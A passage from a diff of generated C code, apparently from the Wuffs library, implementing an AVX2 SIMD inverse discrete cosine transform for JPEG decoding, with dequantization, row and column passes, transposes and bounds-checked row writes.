v_k_0000_0002 = {0}; +- __m256i v_k_0001_FFFF = {0}; +- __m256i v_k_0400_0000 = {0}; +- __m256i v_k_29CF_1151_D630_1151 = {0}; +- __m256i v_k_E333_133E_ADFD_1051 = {0}; +- __m256i v_k_E6DC_25A1_1925_25A1 = {0}; +- __m256i v_k_ECC1_E333_EFB0_ADFD = {0}; +- __m128i v_az_coeffs = {0}; +- __m256i v_az_ah00 = {0}; +- __m256i v_az_ad00 = {0}; +- __m256i v_az_eh00 = {0}; +- __m256i v_az_adeh = {0}; +- __m256i v_rows01 = {0}; +- __m256i v_rows23 = {0}; +- __m256i v_rows45 = {0}; +- __m256i v_rows67 = {0}; +- __m256i v_quants01 = {0}; +- __m256i v_quants23 = {0}; +- __m256i v_quants45 = {0}; +- __m256i v_quants67 = {0}; +- __m256i v_rows04 = {0}; +- __m256i v_rows31 = {0}; +- __m256i v_rows26 = {0}; +- __m256i v_rows75 = {0}; +- __m256i v_fp_rows62 = {0}; +- __m256i v_fp_bq2662ad = {0}; +- __m256i v_fp_bq2662eh = {0}; +- __m256i v_fp_cb26ad = {0}; +- __m256i v_fp_cb26eh = {0}; +- __m256i v_fp_rows40pos = {0}; +- __m256i v_fp_rows04neg = {0}; +- __m256i v_fp_rows0pm4 = {0}; +- __m256i v_fp_ccpmad = {0}; +- __m256i v_fp_ccpmeh = {0}; +- __m256i v_fp_cd01ad = {0}; +- __m256i v_fp_cd01eh = {0}; +- __m256i v_fp_cd32ad = {0}; +- __m256i v_fp_cd32eh = {0}; +- __m256i v_fp_sums7351 = {0}; +- __m256i v_fp_sums5173 = {0}; +- __m256i v_fp_ci73515173ad = {0}; +- __m256i v_fp_ci73515173eh = {0}; +- __m256i v_fp_cl7351ad = {0}; +- __m256i v_fp_cl7351eh = {0}; +- __m256i v_fp_rows13 = {0}; +- __m256i v_fp_bq7153ad = {0}; +- __m256i v_fp_bq7153eh = {0}; +- __m256i v_fp_ck75ad = {0}; +- __m256i v_fp_ck75eh = {0}; +- __m256i v_fp_cl5173ad = {0}; +- __m256i v_fp_cl5173eh = {0}; +- __m256i v_fp_ck13ad = {0}; +- __m256i v_fp_ck13eh = {0}; +- __m256i v_intermediate01ad = {0}; +- __m256i v_intermediate01eh = {0}; +- __m256i v_intermediate01 = {0}; +- __m256i v_intermediate32ad = {0}; +- __m256i v_intermediate32eh = {0}; +- __m256i v_intermediate32 = {0}; +- __m256i v_intermediate45ad = {0}; +- __m256i v_intermediate45eh = {0}; +- __m256i v_intermediate45 = {0}; +- __m256i v_intermediate76ad = {0}; +- __m256i v_intermediate76eh = {0}; +- __m256i v_intermediate76 = {0}; +- __m256i v_ita0a1e0e1 = {0}; +- __m256i v_ita2a3e2e3 = {0}; +- __m256i v_ita4a5e4e5 = {0}; +- __m256i v_ita6a7e6e7 = {0}; +- __m256i v_ita0c0e0g0 = {0}; +- __m256i v_ita1c1e1g1 = {0}; +- __m256i v_ita4c4e4g4 = {0}; +- __m256i v_ita5c5e5g5 = {0}; +- __m256i v_ita0b0e0f0 = {0}; +- __m256i v_ita4b4e4f4 = {0}; +- __m256i v_itc0d0g0h0 = {0}; +- __m256i v_itc4d4g4h4 = {0}; +- __m256i v_intermediateae = {0}; +- __m256i v_intermediatebf = {0}; +- __m256i v_intermediatecg = {0}; +- __m256i v_intermediatedh = {0}; +- __m256i v_intermediatedb = {0}; +- __m256i v_intermediatehf = {0}; +- __m256i v_sp_cols62 = {0}; +- __m256i v_sp_bq2662ad = {0}; +- __m256i v_sp_bq2662eh = {0}; +- __m256i v_sp_rb26ad = {0}; +- __m256i v_sp_rb26eh = {0}; +- __m256i v_sp_cols40pos = {0}; +- __m256i v_sp_cols04neg = {0}; +- __m256i v_sp_cols0pm4 = {0}; +- __m256i v_sp_rcpmad = {0}; +- __m256i v_sp_rcpmeh = {0}; +- __m256i v_sp_rd01ad = {0}; +- __m256i v_sp_rd01eh = {0}; +- __m256i v_sp_rd32ad = {0}; +- __m256i v_sp_rd32eh = {0}; +- __m256i v_sp_sums7351 = {0}; +- __m256i v_sp_sums5173 = {0}; +- __m256i v_sp_ri73515173ad = {0}; +- __m256i v_sp_ri73515173eh = {0}; +- __m256i v_sp_rl7351ad = {0}; +- __m256i v_sp_rl7351eh = {0}; +- __m256i v_sp_cols13 = {0}; +- __m256i v_sp_bq7153ad = {0}; +- __m256i v_sp_bq7153eh = {0}; +- __m256i v_sp_rk75ad = {0}; +- __m256i v_sp_rk75eh = {0}; +- __m256i v_sp_rl5173ad = {0}; +- __m256i v_sp_rl5173eh = {0}; +- __m256i v_sp_rk13ad = {0}; +- __m256i v_sp_rk13eh = {0}; +- __m256i v_final01ad = {0}; +- __m256i v_final01eh = {0}; +- __m256i v_final01 = {0}; +- __m256i v_final32ad = {0}; +- __m256i v_final32eh = {0}; +- __m256i v_final32 = {0}; +- __m256i v_final45ad = {0}; +- __m256i v_final45eh = {0}; +- __m256i v_final45 = {0}; +- __m256i v_final76ad = {0}; +- __m256i v_final76eh = {0}; +- __m256i v_final76 = {0}; +- __m256i v_fta0a1e0e1 = {0}; +- __m256i v_fta2a3e2e3 = {0}; +- __m256i v_fta4a5e4e5 = {0}; +- __m256i v_fta6a7e6e7 = {0}; +- __m256i v_fta0c0e0g0 = {0}; +- __m256i v_fta1c1e1g1 = {0}; +- __m256i v_fta4c4e4g4 = {0}; +- __m256i v_fta5c5e5g5 = {0}; +- __m256i v_fta0b0e0f0 = {0}; +- __m256i v_ftc0d0g0h0 = {0}; +- __m256i v_fta4b4e4f4 = {0}; +- __m256i v_ftc4d4g4h4 = {0}; +- __m256i v_finalae = {0}; +- __m256i v_finalbf = {0}; +- __m256i v_finalcg = {0}; +- __m256i v_finaldh = {0}; +- __m256i v_final0145 = {0}; +- __m256i v_final2367 = {0}; +- uint64_t v_final0 = 0; +- uint64_t v_final1 = 0; +- uint64_t v_final2 = 0; +- uint64_t v_final3 = 0; +- uint64_t v_final4 = 0; +- uint64_t v_final5 = 0; +- uint64_t v_final6 = 0; +- uint64_t v_final7 = 0; +- wuffs_base__slice_u8 v_remaining = {0}; +- +- if (8u > a_dst_stride) { +- return wuffs_base__make_empty_struct(); +- } +- v_k_0000 = _mm256_set_epi16((int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u)); +- v_k_8080 = _mm256_set_epi16((int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u)); +- v_k_0000_0002 = _mm256_set_epi16((int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u)); +- v_k_0001_FFFF = _mm256_set_epi16((int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u)); +- v_k_0400_0000 = _mm256_set_epi16((int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u)); +- v_k_29CF_1151_D630_1151 = _mm256_set_epi16((int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(10703u), (int16_t)(4433u), (int16_t)(10703u), (int16_t)(4433u), (int16_t)(10703u), (int16_t)(4433u), (int16_t)(10703u)); +- v_k_E333_133E_ADFD_1051 = _mm256_set_epi16((int16_t)(4177u), (int16_t)(44541u), (int16_t)(4177u), (int16_t)(44541u), (int16_t)(4177u), (int16_t)(44541u), (int16_t)(4177u), (int16_t)(44541u), (int16_t)(4926u), (int16_t)(58163u), (int16_t)(4926u), (int16_t)(58163u), (int16_t)(4926u), (int16_t)(58163u), (int16_t)(4926u), (int16_t)(58163u)); +- v_k_E6DC_25A1_1925_25A1 = _mm256_set_epi16((int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(59100u), (int16_t)(9633u), (int16_t)(59100u), (int16_t)(9633u), (int16_t)(59100u), (int16_t)(9633u), (int16_t)(59100u)); +- v_k_ECC1_E333_EFB0_ADFD = _mm256_set_epi16((int16_t)(44541u), (int16_t)(61360u), (int16_t)(44541u), (int16_t)(61360u), (int16_t)(44541u), (int16_t)(61360u), (int16_t)(44541u), (int16_t)(61360u), (int16_t)(58163u), (int16_t)(60609u), (int16_t)(58163u), (int16_t)(60609u), (int16_t)(58163u), (int16_t)(60609u), (int16_t)(58163u), (int16_t)(60609u)); +- do { +- if (0u == (wuffs_base__peek_u64le__no_bounds_check((const uint8_t*)(const void*)(self->private_data.f_mcu_blocks[0u] + 8u)) | wuffs_base__peek_u64le__no_bounds_check((const uint8_t*)(const void*)(self->private_data.f_mcu_blocks[0u] + 16u)))) { +- v_az_coeffs = _mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 8u)), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 16u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 24u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 32u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 40u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 48u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 56u))); +- if (0u == ((uint64_t)(_mm_cvtsi128_si64(_mm_packs_epi16(v_az_coeffs, v_az_coeffs))))) { +- v_rows01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 0u)); +- v_quants01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 0u)); +- v_rows01 = _mm256_mullo_epi16(v_rows01, v_quants01); +- v_az_ah00 = _mm256_slli_epi16(v_rows01, (int32_t)(2u)); +- v_az_ad00 = _mm256_unpacklo_epi16(v_az_ah00, v_az_ah00); +- v_az_eh00 = _mm256_unpackhi_epi16(v_az_ah00, v_az_ah00); +- v_az_adeh = _mm256_inserti128_si256(v_az_ad00, _mm256_castsi256_si128(v_az_eh00), (int32_t)(1u)); +- v_intermediateae = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(0u)); +- v_intermediatebf = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(85u)); +- v_intermediatecg = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(170u)); +- v_intermediatedh = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(255u)); +- break; +- } +- } +- v_rows01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 0u)); +- v_rows23 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 16u)); +- v_rows45 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 32u)); +- v_rows67 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 48u)); +- v_quants01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 0u)); +- v_quants23 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 16u)); +- v_quants45 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 32u)); +- v_quants67 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 48u)); +- v_rows01 = _mm256_mullo_epi16(v_rows01, v_quants01); +- v_rows23 = _mm256_mullo_epi16(v_rows23, v_quants23); +- v_rows45 = _mm256_mullo_epi16(v_rows45, v_quants45); +- v_rows67 = _mm256_mullo_epi16(v_rows67, v_quants67); +- v_rows04 = _mm256_permute2x128_si256(v_rows01, v_rows45, (int32_t)(32u)); +- v_rows31 = _mm256_permute2x128_si256(v_rows23, v_rows01, (int32_t)(49u)); +- v_rows26 = _mm256_permute2x128_si256(v_rows23, v_rows67, (int32_t)(32u)); +- v_rows75 = _mm256_permute2x128_si256(v_rows67, v_rows45, (int32_t)(49u)); +- v_fp_rows62 = _mm256_permute2x128_si256(v_rows26, v_rows26, (int32_t)(1u)); +- v_fp_bq2662ad = _mm256_unpacklo_epi16(v_rows26, v_fp_rows62); +- v_fp_bq2662eh = _mm256_unpackhi_epi16(v_rows26, v_fp_rows62); +- v_fp_cb26ad = _mm256_madd_epi16(v_fp_bq2662ad, v_k_29CF_1151_D630_1151); +- v_fp_cb26eh = _mm256_madd_epi16(v_fp_bq2662eh, v_k_29CF_1151_D630_1151); +- v_fp_rows40pos = _mm256_permute2x128_si256(v_rows04, v_rows04, (int32_t)(1u)); +- v_fp_rows04neg = _mm256_sign_epi16(v_rows04, v_k_0001_FFFF); +- v_fp_rows0pm4 = _mm256_add_epi16(v_fp_rows40pos, v_fp_rows04neg); +- v_fp_ccpmad = _mm256_srai_epi32(_mm256_unpacklo_epi16(v_k_0000, v_fp_rows0pm4), (int32_t)(3u)); +- v_fp_ccpmeh = _mm256_srai_epi32(_mm256_unpackhi_epi16(v_k_0000, v_fp_rows0pm4), (int32_t)(3u)); +- v_fp_cd01ad = _mm256_add_epi32(v_fp_ccpmad, v_fp_cb26ad); +- v_fp_cd01eh = _mm256_add_epi32(v_fp_ccpmeh, v_fp_cb26eh); +- v_fp_cd32ad = _mm256_sub_epi32(v_fp_ccpmad, v_fp_cb26ad); +- v_fp_cd32eh = _mm256_sub_epi32(v_fp_ccpmeh, v_fp_cb26eh); +- v_fp_sums7351 = _mm256_add_epi16(v_rows75, v_rows31); +- v_fp_sums5173 = _mm256_permute2x128_si256(v_fp_sums7351, v_fp_sums7351, (int32_t)(1u)); +- v_fp_ci73515173ad = _mm256_unpacklo_epi16(v_fp_sums7351, v_fp_sums5173); +- v_fp_ci73515173eh = _mm256_unpackhi_epi16(v_fp_sums7351, v_fp_sums5173); +- v_fp_cl7351ad = _mm256_madd_epi16(v_fp_ci73515173ad, v_k_E6DC_25A1_1925_25A1); +- v_fp_cl7351eh = _mm256_madd_epi16(v_fp_ci73515173eh, v_k_E6DC_25A1_1925_25A1); +- v_fp_rows13 = _mm256_permute2x128_si256(v_rows31, v_rows31, (int32_t)(1u)); +- v_fp_bq7153ad = _mm256_unpacklo_epi16(v_rows75, v_fp_rows13); +- v_fp_bq7153eh = _mm256_unpackhi_epi16(v_rows75, v_fp_rows13); +- v_fp_ck75ad = _mm256_add_epi32(_mm256_madd_epi16(v_fp_bq7153ad, v_k_ECC1_E333_EFB0_ADFD), v_fp_cl7351ad); +- v_fp_ck75eh = _mm256_add_epi32(_mm256_madd_epi16(v_fp_bq7153eh, v_k_ECC1_E333_EFB0_ADFD), v_fp_cl7351eh); +- v_fp_cl5173ad = _mm256_permute2x128_si256(v_fp_cl7351ad, v_fp_cl7351ad, (int32_t)(1u)); +- v_fp_cl5173eh = _mm256_permute2x128_si256(v_fp_cl7351eh, v_fp_cl7351eh, (int32_t)(1u)); +- v_fp_ck13ad = _mm256_add_epi32(v_fp_cl5173ad, _mm256_madd_epi16(v_fp_bq7153ad, v_k_E333_133E_ADFD_1051)); +- v_fp_ck13eh = _mm256_add_epi32(v_fp_cl5173eh, _mm256_madd_epi16(v_fp_bq7153eh, v_k_E333_133E_ADFD_1051)); +- v_intermediate01ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd01ad, v_fp_ck13ad), v_k_0400_0000), (int32_t)(11u)); +- v_intermediate01eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd01eh, v_fp_ck13eh), v_k_0400_0000), (int32_t)(11u)); +- v_intermediate01 = _mm256_packs_epi32(v_intermediate01ad, v_intermediate01eh); +- v_intermediate32ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd32ad, v_fp_ck75ad), v_k_0400_0000), (int32_t)(11u)); +- v_intermediate32eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd32eh, v_fp_ck75eh), v_k_0400_0000), (int32_t)(11u)); +- v_intermediate32 = _mm256_packs_epi32(v_intermediate32ad, v_intermediate32eh); +- v_intermediate45ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd32ad, v_fp_ck75ad), v_k_0400_0000), (int32_t)(11u)); +- v_intermediate45eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd32eh, v_fp_ck75eh), v_k_0400_0000), (int32_t)(11u)); +- v_intermediate45 = _mm256_packs_epi32(v_intermediate45ad, v_intermediate45eh); +- v_intermediate76ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd01ad, v_fp_ck13ad), v_k_0400_0000), (int32_t)(11u)); +- v_intermediate76eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd01eh, v_fp_ck13eh), v_k_0400_0000), (int32_t)(11u)); +- v_intermediate76 = _mm256_packs_epi32(v_intermediate76ad, v_intermediate76eh); +- v_ita0a1e0e1 = _mm256_permute4x64_epi64(v_intermediate01, (int32_t)(216u)); +- v_ita2a3e2e3 = _mm256_permute4x64_epi64(v_intermediate32, (int32_t)(114u)); +- v_ita4a5e4e5 = _mm256_permute4x64_epi64(v_intermediate45, (int32_t)(216u)); +- v_ita6a7e6e7 = _mm256_permute4x64_epi64(v_intermediate76, (int32_t)(114u)); +- v_ita0c0e0g0 = _mm256_unpacklo_epi16(v_ita0a1e0e1, v_ita2a3e2e3); +- v_ita1c1e1g1 = _mm256_unpackhi_epi16(v_ita0a1e0e1, v_ita2a3e2e3); +- v_ita4c4e4g4 = _mm256_unpacklo_epi16(v_ita4a5e4e5, v_ita6a7e6e7); +- v_ita5c5e5g5 = _mm256_unpackhi_epi16(v_ita4a5e4e5, v_ita6a7e6e7); +- v_ita0b0e0f0 = _mm256_unpacklo_epi16(v_ita0c0e0g0, v_ita1c1e1g1); +- v_itc0d0g0h0 = _mm256_unpackhi_epi16(v_ita0c0e0g0, v_ita1c1e1g1); +- v_ita4b4e4f4 = _mm256_unpacklo_epi16(v_ita4c4e4g4, v_ita5c5e5g5); +- v_itc4d4g4h4 = _mm256_unpackhi_epi16(v_ita4c4e4g4, v_ita5c5e5g5); +- v_intermediateae = _mm256_unpacklo_epi64(v_ita0b0e0f0, v_ita4b4e4f4); +- v_intermediatebf = _mm256_unpackhi_epi64(v_ita0b0e0f0, v_ita4b4e4f4); +- v_intermediatecg = _mm256_unpacklo_epi64(v_itc0d0g0h0, v_itc4d4g4h4); +- v_intermediatedh = _mm256_unpackhi_epi64(v_itc0d0g0h0, v_itc4d4g4h4); +- } while (0); +- v_intermediatedb = _mm256_permute2x128_si256(v_intermediatedh, v_intermediatebf, (int32_t)(32u)); +- v_intermediatehf = _mm256_permute2x128_si256(v_intermediatedh, v_intermediatebf, (int32_t)(49u)); +- v_sp_cols62 = _mm256_permute2x128_si256(v_intermediatecg, v_intermediatecg, (int32_t)(1u)); +- v_sp_bq2662ad = _mm256_unpacklo_epi16(v_intermediatecg, v_sp_cols62); +- v_sp_bq2662eh = _mm256_unpackhi_epi16(v_intermediatecg, v_sp_cols62); +- v_sp_rb26ad = _mm256_madd_epi16(v_sp_bq2662ad, v_k_29CF_1151_D630_1151); +- v_sp_rb26eh = _mm256_madd_epi16(v_sp_bq2662eh, v_k_29CF_1151_D630_1151); +- v_sp_cols40pos = _mm256_permute2x128_si256(v_intermediateae, v_intermediateae, (int32_t)(1u)); +- v_sp_cols04neg = _mm256_sign_epi16(v_intermediateae, v_k_0001_FFFF); +- v_sp_cols0pm4 = _mm256_add_epi16(v_sp_cols40pos, v_sp_cols04neg); +- v_sp_rcpmad = _mm256_srai_epi32(_mm256_unpacklo_epi16(v_k_0000, v_sp_cols0pm4), (int32_t)(3u)); +- v_sp_rcpmeh = _mm256_srai_epi32(_mm256_unpackhi_epi16(v_k_0000, v_sp_cols0pm4), (int32_t)(3u)); +- v_sp_rd01ad = _mm256_add_epi32(v_sp_rcpmad, v_sp_rb26ad); +- v_sp_rd01eh = _mm256_add_epi32(v_sp_rcpmeh, v_sp_rb26eh); +- v_sp_rd32ad = _mm256_sub_epi32(v_sp_rcpmad, v_sp_rb26ad); +- v_sp_rd32eh = _mm256_sub_epi32(v_sp_rcpmeh, v_sp_rb26eh); +- v_sp_sums7351 = _mm256_add_epi16(v_intermediatehf, v_intermediatedb); +- v_sp_sums5173 = _mm256_permute2x128_si256(v_sp_sums7351, v_sp_sums7351, (int32_t)(1u)); +- v_sp_ri73515173ad = _mm256_unpacklo_epi16(v_sp_sums7351, v_sp_sums5173); +- v_sp_ri73515173eh = _mm256_unpackhi_epi16(v_sp_sums7351, v_sp_sums5173); +- v_sp_rl7351ad = _mm256_madd_epi16(v_sp_ri73515173ad, v_k_E6DC_25A1_1925_25A1); +- v_sp_rl7351eh = _mm256_madd_epi16(v_sp_ri73515173eh, v_k_E6DC_25A1_1925_25A1); +- v_sp_cols13 = _mm256_permute2x128_si256(v_intermediatedb, v_intermediatedb, (int32_t)(1u)); +- v_sp_bq7153ad = _mm256_unpacklo_epi16(v_intermediatehf, v_sp_cols13); +- v_sp_bq7153eh = _mm256_unpackhi_epi16(v_intermediatehf, v_sp_cols13); +- v_sp_rk75ad = _mm256_add_epi32(_mm256_madd_epi16(v_sp_bq7153ad, v_k_ECC1_E333_EFB0_ADFD), v_sp_rl7351ad); +- v_sp_rk75eh = _mm256_add_epi32(_mm256_madd_epi16(v_sp_bq7153eh, v_k_ECC1_E333_EFB0_ADFD), v_sp_rl7351eh); +- v_sp_rl5173ad = _mm256_permute2x128_si256(v_sp_rl7351ad, v_sp_rl7351ad, (int32_t)(1u)); +- v_sp_rl5173eh = _mm256_permute2x128_si256(v_sp_rl7351eh, v_sp_rl7351eh, (int32_t)(1u)); +- v_sp_rk13ad = _mm256_add_epi32(v_sp_rl5173ad, _mm256_madd_epi16(v_sp_bq7153ad, v_k_E333_133E_ADFD_1051)); +- v_sp_rk13eh = _mm256_add_epi32(v_sp_rl5173eh, _mm256_madd_epi16(v_sp_bq7153eh, v_k_E333_133E_ADFD_1051)); +- v_final01ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd01ad, v_sp_rk13ad), v_k_0000_0002), (int32_t)(18u)); +- v_final01eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd01eh, v_sp_rk13eh), v_k_0000_0002), (int32_t)(18u)); +- v_final01 = _mm256_packs_epi32(v_final01ad, v_final01eh); +- v_final32ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd32ad, v_sp_rk75ad), v_k_0000_0002), (int32_t)(18u)); +- v_final32eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd32eh, v_sp_rk75eh), v_k_0000_0002), (int32_t)(18u)); +- v_final32 = _mm256_packs_epi32(v_final32ad, v_final32eh); +- v_final45ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd32ad, v_sp_rk75ad), v_k_0000_0002), (int32_t)(18u)); +- v_final45eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd32eh, v_sp_rk75eh), v_k_0000_0002), (int32_t)(18u)); +- v_final45 = _mm256_packs_epi32(v_final45ad, v_final45eh); +- v_final76ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd01ad, v_sp_rk13ad), v_k_0000_0002), (int32_t)(18u)); +- v_final76eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd01eh, v_sp_rk13eh), v_k_0000_0002), (int32_t)(18u)); +- v_final76 = _mm256_packs_epi32(v_final76ad, v_final76eh); +- v_fta0a1e0e1 = _mm256_permute4x64_epi64(v_final01, (int32_t)(216u)); +- v_fta2a3e2e3 = _mm256_permute4x64_epi64(v_final32, (int32_t)(114u)); +- v_fta4a5e4e5 = _mm256_permute4x64_epi64(v_final45, (int32_t)(216u)); +- v_fta6a7e6e7 = _mm256_permute4x64_epi64(v_final76, (int32_t)(114u)); +- v_fta0c0e0g0 = _mm256_unpacklo_epi16(v_fta0a1e0e1, v_fta2a3e2e3); +- v_fta1c1e1g1 = _mm256_unpackhi_epi16(v_fta0a1e0e1, v_fta2a3e2e3); +- v_fta4c4e4g4 = _mm256_unpacklo_epi16(v_fta4a5e4e5, v_fta6a7e6e7); +- v_fta5c5e5g5 = _mm256_unpackhi_epi16(v_fta4a5e4e5, v_fta6a7e6e7); +- v_fta0b0e0f0 = _mm256_unpacklo_epi16(v_fta0c0e0g0, v_fta1c1e1g1); +- v_ftc0d0g0h0 = _mm256_unpackhi_epi16(v_fta0c0e0g0, v_fta1c1e1g1); +- v_fta4b4e4f4 = _mm256_unpacklo_epi16(v_fta4c4e4g4, v_fta5c5e5g5); +- v_ftc4d4g4h4 = _mm256_unpackhi_epi16(v_fta4c4e4g4, v_fta5c5e5g5); +- v_finalae = _mm256_unpacklo_epi64(v_fta0b0e0f0, v_fta4b4e4f4); +- v_finalbf = _mm256_unpackhi_epi64(v_fta0b0e0f0, v_fta4b4e4f4); +- v_finalcg = _mm256_unpacklo_epi64(v_ftc0d0g0h0, v_ftc4d4g4h4); +- v_finaldh = _mm256_unpackhi_epi64(v_ftc0d0g0h0, v_ftc4d4g4h4); +- v_final0145 = _mm256_add_epi8(_mm256_packs_epi16(v_finalae, v_finalbf), v_k_8080); +- v_final2367 = _mm256_add_epi8(_mm256_packs_epi16(v_finalcg, v_finaldh), v_k_8080); +- v_final0 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(0u)))); +- v_final1 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(1u)))); +- v_final2 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(0u)))); +- v_final3 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(1u)))); +- v_final4 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(2u)))); +- v_final5 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(3u)))); +- v_final6 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(2u)))); +- v_final7 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(3u)))); +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final0); +- a_dst_buffer = v_remaining; +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final1); +- a_dst_buffer = v_remaining; +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final2); +- a_dst_buffer = v_remaining; +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final3); +- a_dst_buffer = v_remaining; +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final4); +- a_dst_buffer = v_remaining; +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final5); +- a_dst_buffer 